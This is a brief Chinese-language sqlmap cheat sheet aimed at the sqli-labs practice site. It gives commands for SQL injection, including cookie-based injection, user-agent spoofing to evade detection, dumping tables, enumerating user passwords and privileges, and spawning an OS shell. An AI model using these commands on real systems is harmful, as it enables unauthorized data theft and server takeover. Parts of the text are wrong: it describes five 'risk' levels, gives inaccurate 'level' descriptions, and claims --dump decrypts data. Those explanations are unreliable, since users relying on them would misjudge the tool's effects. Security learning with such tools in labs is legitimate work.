最最基础
1.指定目标url sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" 2.从文件中获取多个url sqlmap -m 1.txt 3.从文件中加载HTTP请求 sqlmap -r url.txt 4.删除缓存 python sqlma.py -purge
总结如果命令是多个字母就用 -- 例如--dbs,--tables。单个字母就用-u,-r 等。
自动选择
--batch --smart
–batch 默认选项执行,不需要再提示选项
-smart 智能选择选项执行、
带上浏览器头防检测
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
带cookie的注入:
--cookie=" PHPSESSID=bpu1cvkcjgpv3cuhjqomrd9a17; security=low" --dbs
指定参数注入
使用*指定位置或者使用-p
python sqlmap.py -u "url" -p "id" python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1*"
--dump(一般数据库中的信息都会加密,这个命令可以直接显示解密后的情况,并且会自动保存到本地)
完整过程
-D “库名” -T “表名” -C “列名,列名,...,” --dump
基本的步骤:读取数据库—>读取表—->读取表的列—->获取内容
以下四个需要管理员权限:
--users 枚举所有用户
--passwords 枚举所有用户密码
--roles 列出数据库管理员角色
--privileges 列出数据库管理员权限
--os-shell #执行--os-shell命令
--level
不同等级之间的区别
- Level 1:测试最基本的 SQL 注入漏洞,发现 SQL 注入点就会停止测试。
- Level 2:测试除了 SQL 注入漏洞以外的其他漏洞,例如文件包含和命令注入等。
- Level 3:测试高级的 SQL 注入漏洞,例如联合查询注入和盲注等,需要较长的时间和更多的流量。
- Level 4:增加了更多的测试选项和技术手段,例如报错注入和堆叠查询注入等,增加了测试深度和准确性。
- Level 5:包括所有可能的测试选项和技术手段,充分挖掘所有的漏洞点,但是会消耗较长时间和大量的流量。
因此,在实践中,应该根据具体情况选择合适的 level 值来进行测试,平衡测试深度和效率。
--risk
不同风险之间的区别:
sqlmap中的risk表示SQL注入尝试的风险级别,主要包括五个级别:
1 - 非常低的风险级别。sqlmap仅仅会检测页面上的输入框是否存在SQL注入的漏洞。
2 - 低风险级别。sqlmap会对输入参数进行基本测试,但是不会对数据库进行修改。
3 - 中等风险级别。sqlmap在测试时可能会对数据库中的数据进行修改,但并不会产生相对严重的后果。
4 - 高风险级别。sqlmap测试时可能会对数据库中的数据进行修改,并且可能会对服务器产生一定的破坏性影响。
5 - 最高风险级别。sqlmap测试时可能会对数据库中的数据进行大规模修改,并且可能会对服务器产生灾难性的影响。总之,不同risk级别之间的区别在于测试时产生的影响大小和破坏程度,越高的risk级别意味着测试时对服务器和数据库的修改和破坏性影响越大。
请注意风险哦